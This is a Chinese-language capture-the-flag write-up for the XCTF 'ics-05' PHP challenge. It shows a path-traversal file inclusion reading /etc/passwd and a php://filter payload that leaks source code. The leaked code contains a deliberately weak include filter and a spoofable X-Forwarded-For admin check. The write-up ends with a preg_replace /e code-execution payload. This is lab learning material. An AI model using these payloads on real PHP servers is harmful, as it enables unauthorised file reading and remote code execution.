20200924-PHP-XCTF-ics-05

20200924-PHP-XCTF-ics-05

九月 24, 2020

20200924-PHP-XCTF-ics-05文件包涵

先检查页面找到了一个文件包涵点
http://220.249.52.133:51253/index.php?page=../../../../../../../etc/passwd
image.png

尝试了使用伪协议data无效
使用了 ?page=php://filter/read=convert.base64-encode/resource=index.php读取到了源代码

image.png

index.php(代码太长只取较为关键部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">

//strpos()函数是区分大小写的
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
//尝试了半天使用data无果,寻找其他点
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//检查xff头是否为 127.0.0.1
echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
//preg_replace使用/e修饰符号可构建rec
}else{
die();
}
}
?>

preg_replace // 这个题的关键是利用文件包涵加伪协议读取index.php源代码,然后就是这个函数的利用

payload:?pat=/123/e&rep=highlight_file('s3chahahaDir/flag/flag.php')&sub=123

利用远程命令执行查看目录内容并读取flag(需要修改xff头)
image.png

参考资料:

https://www.runoob.com/php/php-preg_replace.html

http://www.xinyueseo.com/websecurity/158.html